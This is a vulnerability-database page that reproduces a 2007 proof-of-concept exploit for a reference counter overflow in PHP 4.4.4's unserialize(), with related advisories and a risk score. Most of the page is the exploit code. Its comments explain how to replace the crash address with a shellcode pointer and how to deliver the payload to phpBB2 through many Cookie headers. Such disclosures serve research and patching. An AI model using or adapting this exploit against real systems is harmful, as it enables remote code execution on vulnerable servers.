PHP 4.4.4 - 'Unserialize()' ZVAL Reference Counter Overflow (PoC)
| Reporter | Title | Published | Views | Family All 59 |
|---|---|---|---|---|
| CentOS 3 / 4 : php (CESA-2007:0155) | 19 Apr 200700:00 | – | nessus | |
| Debian DSA-1282-1 : php4 - several vulnerabilities | 30 Apr 200700:00 | – | nessus | |
| Debian DSA-1283-1 : php5 - several vulnerabilities | 30 Apr 200700:00 | – | nessus | |
| F5 Networks BIG-IP : Multiple PHP vulnerabilities (SOL7859) | 10 Oct 201400:00 | – | nessus | |
| GLSA-200703-21 : PHP: Multiple vulnerabilities | 26 Mar 200700:00 | – | nessus | |
| GLSA-200705-19 : PHP: Multiple vulnerabilities | 29 May 200700:00 | – | nessus | |
| Oracle Linux 3 / 4 : php (ELSA-2007-0155) | 12 Jul 201300:00 | – | nessus | |
| PHP < 4.4.5 Multiple Vulnerabilities | 2 Apr 200700:00 | – | nessus | |
| RHEL 2.1 : php (RHSA-2007:0154) | 19 Apr 200700:00 | – | nessus | |
| RHEL 3 / 4 : php (RHSA-2007:0155) | 19 Apr 200700:00 | – | nessus |
10
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4 - unserialize() Reference Counter Overflow //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// This exploit is only designed for linux x86 systems
// where 0x08064058 is a readable address in the PHP process
// (should be unless binary images are relocated default systems)
//
// The exploit does nothing useful. It just proves that the CPU
// will try to execute the instruction at 0x99887766 which results
// in a crash. Just replace it with a pointer to your shellcode and
// it will work.
//
// To exploit phpBB2 with this you need to put a similar string
// into the cookie. You must work around the size limit of HTTP
// headers by using MANY Cookie: headers (not folded lines, real
// headers). Additionally you must put at the end of ever line
// a line terminator s:2:" and start every following line with
// ";N; of course with URL encoded ';'
$hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
unserialize($str);
?>
# milw0rm.com [2007-03-02]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.40435